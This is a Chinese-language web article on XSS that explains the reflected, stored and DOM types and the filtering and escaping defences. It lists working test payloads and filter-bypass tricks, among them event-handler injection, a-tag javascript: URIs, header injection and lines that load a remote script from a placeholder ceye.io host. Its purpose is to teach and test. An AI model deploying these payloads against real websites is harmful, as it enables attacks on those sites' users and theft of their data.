Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS,XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理
反射型XSS将用户输入的内容作为代码让浏览器执行达到攻击目的,一般需要让用户访问攻击者构造的URL。这种类型的攻击只发生在客户端上,并且需要从带有恶意脚本参数的特定URL进入,所以也称为非持久型XSS
提交的XSS代码会存储在服务端(数据库、内存、文件系统等),下次请求目标页面时不用再提交XSS代码。可能会影响到网站的众多用户
DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情,无法通过WAF防护
1,发现存在webXSS漏洞web,
2,恶意用户通过该漏洞将javascrip插入到该web的脚本中,等待或欺骗新用户去访问。当用户打开此含有XSS漏洞的页面,脚本运行。如果这个代码是用来获取用户的个人信息,就返回一个信息输入页面,当用户将个人用户信息输入后,当窃取到用户信息后,将该信息发送到恶意用户自行搭建的获取信息的接口
1.测试payload
<ScRipt>alert(1)</ScRipt>
1"><ScRipt>alert(1)</ScRipt>
2.绕过htmlspecialchars方法,先闭合输入,再使用事件来绕过
' onclick ='javascript:alert(1)'//
" onclick ='javascript:alert(1)'//
3.<> script onclick被过滤,用a标签绕过
"></input><a href='javascript:alert(1)'>asd</a>//
4.重写绕过
1"><ScscriptRipt>alert(1)</ScscriptRipt>
5.Unicode编码绕过
javascript:alert(1)
6.使用type=text来显示被隐藏的标签,再用事件
&t_sort=" type='text' οnclick='javascript:alert(1)'>//
7.referer UserAgent Cookie等地方也可以进行xss测试
referer:" type='text' οnclick='javascript:alert(1)'>//
8.图片
<img src=xxxx οnerrοr=alert(1)>'
9.用这些字符来测试哪些被过滤了
“ ‘ <> script onerror onclick
10.空格用回车编码代替
<a%0D%0Aοnclick='alert(1)'>
<ScrIpt>alert("XSS")</scRiPt>
s=createElement('ScrIpt');body.appendChild(s);s.src='http://xxxxx.ceye.io'
<ScrIpt src='http://xxxxx.ceye.io'> </scRiPt>
「内容编写不易,如果觉得我们的文章对您有用,请收藏本站,共同学习成长」
上一篇:高端网站建设官网网站模板整站
下一篇:没有了,已经是最新文章
共 0 条评论关于"XSS漏洞原理和防范"
最新评论